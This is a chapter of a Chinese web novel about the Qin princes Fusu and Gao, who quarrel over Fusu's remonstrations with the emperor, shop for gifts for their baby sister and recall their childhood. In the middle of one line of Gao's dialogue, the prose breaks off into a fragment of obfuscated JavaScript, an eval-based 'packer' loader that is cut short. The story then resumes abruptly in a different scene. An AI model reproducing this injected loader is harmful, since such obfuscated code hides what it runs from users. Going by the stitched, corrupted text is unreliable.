“你做的就是气父皇的事儿,不管你本意是不是如此,事实就是这样!兄长,你说要广开言路,让四海归心,合着就是要逼迫父皇让步呗!要是他不肯接受你们的谏言,执意要按照自己的想法来,你们就始终不服他,要一直跟他抗争,天下就始终没办法归心了呗!” “我不是这个意思!” “那你是什么意思?你这些话不用跟我说,还是留着跟父皇说吧!兄长,你自个儿想想,最近父皇见了你,是不是都没个好脸色?他给我们赐衣服和吃食的时候,独独跳过了你,你说说,他对你该有多气?从前,你的赏赐在我们这些兄弟中都是独一份儿的,父皇从来没有这样不给你脸面过。” “让父皇生气,是我的过错,可我总不能眼睁睁看着父皇走错了路而不去指正吧?” “父皇走错了什么路?你又怎么能肯定,你是对的,父皇就是错的呢?况且就算你是对的,你劝谏的时候也得注意方式方法啊!你总是顶撞父皇,注定是吃力不讨好啊!” 公子高摇了摇头:“父皇好颜面,就算你要劝说父皇,那你也不一定非要在朝堂上那么多人面前跟父皇对着干吧?你就不能表面上先赞同父皇,私底下再找父皇说说你的道理吗?” “父皇是圣明的君主,面对圣明的君主,我有什么实话不敢说呢?要是连我都不敢对父皇说实话,那朝中还有几个人会对父皇说实话?这是一个朝堂该有的样子吗?” 扶苏道:“我是父皇的长子,你们的长兄。该坚持的,我必须坚持到底。我要是随波逐流,又怎么能为父分忧,给你们做榜样呢?” “算了算了,你总是有你的道理,我说的呢,你也听不进去。反正啊,我就知道,你这样劝父皇是不会有什么用处的,只会惹父皇生气。” 高伸了个懒腰,对他这个无论什么时候都一板一眼的兄长感到有些无奈。 扶苏虽然固执了些,但扶苏对他们这些弟弟妹妹还是很照顾的,高心里很敬重他,并不愿意一直跟他争吵下去。 高思考着该怎么转移话题,别说,他还真找到了一个好的切入点。 他对扶苏提议道:“大兄,不如我们去看看妹妹吧!既然你都觉得我们忽视了妹妹,让她受了不少苦,那接下来,我们更要好好照顾妹妹,弥补一下她!” 扶苏对此没有什么异议,就是弟弟不说,他原本也打算这么做。 扶苏:“你家里有女儿,你知道妹妹这么小的女孩子喜欢什么吗?我家只得了一个小子。” “这么小的孩子,看到什么新奇的东西,都想上手抓一把。我家四岁(实岁三岁)的闺女是这样,跟妹妹差不多大的儿子也是这样。”高说起家中的一双儿女,眼中就浮现出满满的笑意。 “那这样吧,你将小侄子小侄女平时吃的用的玩的都给妹妹备上一份,带进宫去,我也去咸阳最繁华的街道上亲自为妹妹挑选一些新鲜的小玩意儿。宫中什么都不缺,这些东西父皇肯定都会为妹妹准备,咱们也只是尽一尽作为兄长的心。” 俩人商议完毕,约定好一个半时辰之后在这里碰头,一起入宫,就各自分头采买东西去了。他们作为兄长,第一次正儿八经见妹妹,总不好空着手。除了哄妹妹高兴的各种礼物之外,他们还得为妹妹备一份拿得出手的见面礼。 …… 碰头的时候,扶苏发现高有些狼狈,脸上破了个口子,不由关心地凑上前道:“你这是怎么了?才一会儿不见,你怎么就把自个儿给弄伤了?” 高苦笑着说:“别提了,我闺女挠的。我怕临时去给妹妹买东西买不到好的,就想着先把我闺女没用过的东西送一份给妹妹,回头再给她补上。谁知道她一看到我要拿她的东西就不乐意了,照着我脸上来了一下。” 说着,他就开始摇头:“小小年纪就霸道得不行,也不知道将来会变成什么样……” 扶苏正色道:“我知道你疼爱侄女,不过,你不要太纵着她。她一个不高兴就上手打人挠人,这习惯不好,你得给她纠正过来。” “没那么严重吧?阿稞她就是在跟我闹脾气而已。” 别看高刚刚还在跟兄长抱怨自家小闺女,这会儿又开始出言维护自家闺女了。 他生怕兄长误会自己的女儿顽劣,赶忙替女儿解释道:“平时阿稞很乖的,有时候看到我累了,还会过来抱抱我,软乎乎地跟我说‘阿父辛苦了’呢。” 要不是小闺女这么贴心,他也不会这么疼她。 扶苏皱着眉加重了语气:“你不要不当回事,有些习惯,要是小时候不给小侄女纠正过来,长大了可就纠正不过来了!溺子如杀子,你要是真为了她好,就不该纵容她!她现在都敢挠你了,要是她以后在父皇面前没大没小,惹恼了父皇,你打算怎么办?她如果在外头闯了祸,你每次都能替她兜住吗?” “况且,她伤在你脸上,有多少人会看到?回头那些人要是知道这是小侄女伤的,就算她年纪还小,恐怕也要落下个顽劣的名声来。女孩子不比男孩子,对于女孩子来说,名声还是很重要的。” 高听着兄长一连串的数落,赶忙捂着自己的耳朵告饶:“明白了明白了,兄长你不要再念了。回头我就好好管束一下阿稞,不许她再这样由着性子胡闹了。至于我脸上这道口子,我会对旁人说是我自己不小心弄伤的,大兄你不要把实情告诉别人,我不想阿稞被人说嘴!” 扶苏这才点了点头:“疼孩子也要用对方法,不然就不是爱她,而是害她了。” “咱们不提这个了。”高摆摆手,八卦兮兮地拉着扶苏道:“我脾气这么好,有时候我都受不了我家那对活宝,可见养孩子是一件极麻烦的事。你说,父皇会不会养两天就嫌妹妹烦,把妹妹给迁出去啊?” “不要胡说,既然是父皇决定的事,他当然不会半途而废。”扶苏板着脸警告高:“你在背后这样议论父皇,让父皇听到了,怕是要不高兴的。” “哎呀,我也就偷偷跟兄长你说一嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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后来有一回,高一不小心闹过了头,害得扶苏跌入池塘。秦王政气得拿板子打了高的屁股,还要让高罚跪。是扶苏亲自替高求情,秦王政才让高只跪了半个时辰就起来了。 自那之后,高就像变了个人似的,再也不针对扶苏了。相反,他彻底变成了扶苏的小跟班,谁要是说扶苏的坏话,他就怼谁。别人要是再说他不如扶苏的话,他就会说:“啊对对对,我就是不如兄长,你才知道吗?”这样不以为耻,反以为荣的表现,让周围的其他人彻底陷入了沉默之中。 扶苏知道了这件事,还为高鸣不平:“回头我就去叮嘱他们,不许他们再随便乱说了。你很好,你不比我差,那些说你不好的人都不了解你。” 高跟扶苏手拉着手,一起走过了数-宫殿,回到了自己的居所,才小脸红扑扑地说道:“我并没有把他们的话放在心上,大兄你也不必在意。我知道你才是真正对我好的人,他们都不盼着我好,我才不要为了那些讨厌的人,去伤害真正关心我的人呢!” 扶苏看着弟弟柔软而又信赖的目光,心中一软:“你呀……” “我怎么啦?我说的有什么不对吗?”高双手叉腰,理直气壮地问:“难道你不关心我吗?” “你是我弟弟,我当然关心你。” “这就对了!你关心我,我也喜欢你,这不就好了?我们为什么要去管他们说什么?” “说得对,我们不必在意别人怎么说。” 虽然弟弟不在意,扶苏还是不愿意让弟弟受委屈。他决定之后跟宫里的人提一嘴,不许这些人再随便拿他们兄弟做比较了…… …… 这些往事还历历在目,只是当初的两个小男孩儿,如今已经是做父亲的人了,他们也开始为养孩子而头疼了。 “小孩子逗起来可爱,养起来却麻烦。尤其是妹妹那么小的孩子,还不懂事儿呢。也不知道咱们这位妹妹究竟有什么神奇之处,居然让父皇愿意亲自把她带在身边。” 高想了想,说:“许是田美人只顾着自个儿,将妹妹丢到一边,让父皇想起了他年少时候的光景吧。听说,父皇刚刚继位为秦王的时候,咱们的大母……” 他话还没说完,就被扶苏堵住了嘴:“噤声!大母和父皇都是咱们的长辈。他们的事,不是我们这些小辈该议论的!” “知道了,知道了!反正啊,我就是觉得,父皇看到被扔在一边的妹妹,想起了他自个儿,这才生出了恻隐之心。” 高说着说着,对妹妹的兴趣倒越发浓厚了,他是个胆子大的,还想顺便看看父皇的反应。 “大兄,咱们既然准备好了,现在就出发去章台宫看看妹妹吧!” 扶苏就是这么打算的,可事到临头了,他又有些迟疑:“父皇现在还在生我的气呢,他只怕不愿意见到我。” “哎呀,我们是去见妹妹的,又不是去给父皇添堵的。就算你之前惹得父皇不高兴,难道父皇还能直接把你扫地出门吗?” 高说着,就拉着扶苏往章台宫的方向走,身后跟着一串抬礼物的人。 他边走还边提醒扶苏:“朝堂上你和父皇是君臣,私底下你们可是父子。你见了父皇,可别再拿朝堂上那些事儿来说嘴了。记住,你今天就是去看望妹妹的兄长,待会儿你嘴甜一点,不要惹阿父生气……” 嘴甜? 扶苏觉得,这个词跟他没什么关系。他一向有一说一,他这张嘴,说出来的话能不噎人就算是好的了。 不过,面对弟弟关切的眼神,扶苏还是点了点头。 他是兄长,总不能让弟弟担心他,这也太不像话了。